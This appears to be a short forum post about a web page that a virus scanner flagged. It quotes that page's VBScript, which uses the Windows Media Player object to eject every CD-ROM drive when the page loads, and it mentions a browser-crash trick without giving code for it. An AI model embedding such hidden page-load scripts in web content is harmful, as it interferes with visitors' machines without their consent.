Interesting. The whole FAQ disappeared in the intervening 5 minutes. Unless it's done something nasty to the Fox too.

I wonder which vulnerability that is that the virus scanner picked up. there's a couple in the page.

<script LANGUAGE="VBScript">
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If
</script>

There's a known vulnerability in MSIE that will cause it to crash; some not so nice people will embed it in thier pages under the bizarre notion that it will encourage people to use something other than IE.

Impressed, I am not.
